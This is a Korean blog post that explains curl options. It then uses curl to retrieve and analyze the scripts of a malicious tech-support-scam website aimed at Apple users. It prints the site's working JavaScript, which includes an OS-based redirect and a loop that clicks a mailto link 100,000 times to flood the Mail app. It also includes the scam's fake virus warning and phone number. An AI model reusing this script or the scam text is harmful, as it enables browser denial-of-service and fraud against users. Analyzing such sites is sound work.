2017년 1월 7일 토요일

curl 정리 - OSX 악성 웹사이트 분석



앗.. curl은 wget과 같은 명령어란다.. 난 왜 이걸 몰랐지..? 반성하고 대충 정리 한번 해보자! 
마크다운 사용할려고 하는데... 완전 어색하고 정리 더 안되는 듯하다... 빨리 익숙해지자! 
curl은 cmd line용으로 data transfer tool이다. download와 upload 모드가 있다. 지원하는 프로토콜은 HTTP/HTTPS/FTP/LDAP/SCP/TELNET/SMTP/POP3 등이 있다. 운영체제는 여러가지 운영체제를 지원하기 때문에 매우 편한 도구다.libcurl이라는 C기반의 라이버르리를 제공하기 때문에 C/C++에서 새발시 매우 쉽게 구현이 가능하다. 또는 PHP, ruby, Perl 등 여러 언어에서 지원한다.
설치는 쉽게 설치가 가능하니 각자 찾아 보자. 본인은 OSX를 사용하기 때문에 brew를 사용해 설치 했다.
# brew install curl
위의 방법을 사용해서 설치가 가능하며 입력은 curl [options...] url 형태로 입력을 받는다. 옵션을 정리하면 다음과 같다.
short long 설명 비고
-k –insecure https 사이트를 SSL cerificate 검증 없이 연결 wget의 –no-check-certificate와 비슷한 역할을 수행
-l –head HTTP header만 보여주고 content는 표시 하지 않음
-D –dump-header file file에 http header를 기록
-L –location 서버에서 HTTP 301이나 HTTP 302응답이 왔을 경우 redirection URL로 따라간다. –max-redirs 뒤에 숫자로 redirection을 몇번 따라갈지 지정할 수 있다. 기본 값을 50이 지정된다
-d –data HTTP Post data FORM을 POST하는 HTTP나 JSON으로 데이터를 주고 받는 REST 기반의 웹 서비스 디버깅시 유용한 옵션
-v -verbose 동작하면서 자세한 옵션 출력
-J –remote 어떤 웹서비스는 파일 다운로드시 Content-Disposition Header를 파싱해야 정확한 파일이름을 알 수 있을 경우가 있다. -J 옵션을 주면 헤더에 있는 파일 이름으로 저장한다. curl 7.20 이상부터 추가됨
-o –output FILE crul은 remote에서 받아온 데이타를 기본적으로 콘솔에 출력한다. -o 옵션을 주고 뒤에 FILE을 적어주면 해당 FILE로 저상한다.
-s –silent 진행 내역이나 메시지 등을 출력하지 않음. -o 옵션으로 remote data도 /dev/null로 보내면 결과물도 출력되지 않는다 HTTP response code만 가져오거나 할 경우 유리
내가 curl을 알게 된건 어제 맥 관련하여 이슈가 하나 있었는데.. 어떻게 이런걸 분석할 수 있을까 알아보면서 였다.. 결국 포스팅 해야지 했던 이슈는 @n0fate에게 뺏겼다.. 자세한 내용은 @n0fate blog에서 확인할 수 있다.
우선 curl을 사용해서 내가 코드를 얻고 싶은 사이트를 확인해 봤다.
curl safari-get.net
위 코드를 통해 다음과 같이 코드를 얻을 수 있었다. 파일 저장을 위해서는 -o옵션을 사용할 수 있겠지?
<script>
  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
  })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');

  ga('create', 'UA-73784359-12', 'auto');
  ga('send', 'pageview');

</script>
<body>

<script src="//code.jquery.com/jquery-1.12.0.min.js"></script>

<script language=javascript>

if ((navigator.userAgent.match(/OS 10.1.1/i))) {
   location.replace("http://safari-get.com/11.php");
} else
{
location.replace("http://safari-get.com/10.html");}


</script>
위 코드를 설명하면 접속한 사용자의 정보를 구글 애널리틱스(google analytics)에 전송하여 접속한 사용자의 운영체제 정보를 직별하여 리다이렉션 시키는 코드임을 확인할 수 있다. 링크를 접속하게 되면 OS 운영체제가 10.1.1일 경우는 11.php로 리다이렉션되고 그외에는 10.html을 리다이렉션한다.
여기서 구글 애널리틱스는 클라이언트 정보를 수집해 통계 정보를 제공하는 서비스 인 것으로 보인다. 더 깨끗한 포스팅은 n0fate블로그에서 확인

11.php

11.php를 다운 받기 위해서는 아래와 같이 curl을 사용할 수 있다.
curl safari-get.net/11.php
사용해서 받으면 아래와 같이 코드를 획득할 수 있다. 필요없는 부분을 날리고 중요한 부분만 보자. ``` ```
11.php는 아이튠즈를 이용해 메일앱을 띄우려고 시도 한다. n0fate 포스팅을 통해 확인하면 실험해보면 메일 앱은 하나만 실행되게 되고 자체적으로 아이튠즈 앱이 여러개 뜨는 구조를 가지고 있지 않기 때문이라고 한다

10.html


Editing:  
/home/safarmcl/public_html/port-safari.net/ios.html
 Encoding:    Re-open Use Code Editor     Close  Save Changes

...

<script src="//code.jquery.com/jquery-1.12.0.min.js"></script>


<script type="text/javascript">

var extraData = "";
for (itxextraData = 0; itxextraData < 1; itxextraData++) {
     var extraData = "Immediately Call " + "Apple Support +1-844-423-2465. Your credit card details and banking information.Your e-mail passwords and other account passwords.Your Facebook, Skype, AIM, ICQ and other. Call Apple Support +1-844-423-2465. Your private photos, family photos and other sensitive files.Your webcam could be accessed remotely by stalkers with a VPN virus. ";
}


 
jQuery('#result').append('<a href="mailto:foo@example.com?&body=Apple%20Tech%20Support%20!cc=bar@example.com&subject=Warning!%20Virus%20Detected!%20%20%20%20%20%20%20' + extraData + '"></a>');



  document.querySelector('a').click(0);
다음 코드를 보면 extraData 변수에 너님 노트북 VPN 바이러스에 감염되서 웹캠에 원격으로 접속 가능함 ㅇㅇ 이라는 내용을 저장하며 jquery를 통해 "mailto:foo@example.com?&body=Apple%20Tech%20Support%20!cc=bar@example.com&subject=Warning!%20Virus%20Detected!%20%20%20%20%20%20%20' + extraData + '" 를 시도하는 것을 확인할 수 있다.
extraData에 변수 값을 넣어주면 다음과 같은 내용임을 확인할 수 있다.
"mailto:foo@example.com?&body=Apple%20Tech%20Support%20!cc=bar@example.com&subject=Warning!%20Virus%20Detected!%20%20%20%20%20%20%20 Immediately Call Apple Support +1-844-423-2465. Your credit card details and banking information.Your e-mail passwords and other account passwords.Your Facebook, Skype, AIM, ICQ and other. Call Apple Support +1-844-423-2465. Your private photos, family photos and other sensitive files.Your webcam could be accessed remotely by stalkers with a VPN virus."
위 변수 값을 정리하면 다음과 같이 정리할 수 있다. 우선 mailto:는 mailto 태그를 호줄하는 부분으로 메일을 실행 시키도록 만드는 태그다. foo@example.com은 전송될 메일 주소이며, &body=Apple%20Tech%20Support%20!는 본문내용이 된다. %20은 띄어쓰기로 사용되므로 Apple Tech Support !라는 내용의 본문 내용을 가지게 된다.cc=bar@example.com는 메일 참조로 지정되는 값이며, subject=Warning!%20Virus%20Detected!%20%20%20%20%20%20%20 Immediately Call Apple Support +1-844-423-2465...은 메일의 제목이 된다. 이렇게 생성된 코드는 아래 코드를 통해 무수히 많은 메일 앱을 실행하게 된다.
해당 mailto는 애플 가이드 라인을 참조하면 확인 가능하다.
다음은 위 mailto를 10만번 실행 시키는 루프문이다.
 for(var i=0;i<100000;i++){
     if(i>0) {
     
     document.querySelector('a').click();
     for(var x=0;x<10000;x++){
     console.log();
     }
    
} else {
    document.querySelector('a').click();
    for(var x=0;x<100000;x++){
     console.log();
    }
 }
 }
 
</script>

</html>
다음과 같이 악성 웹사이트의 스크립트를 curl로 수집하여 분석하느 내용을 다루어 봤다.. curl 공부할려고 적은 내용인데 결국 safari-get.net 스크립트 내용이 더 커진 듯 하다..흠..여튼 ! 다음번에 분석하게 되면 더 분석해 보자!
참조
n0fate
Malwarebyte

댓글 1개:

  1. 아 지금 보니 빼먹은 부분이 있네..귀찮으니까..패스..

    답글삭제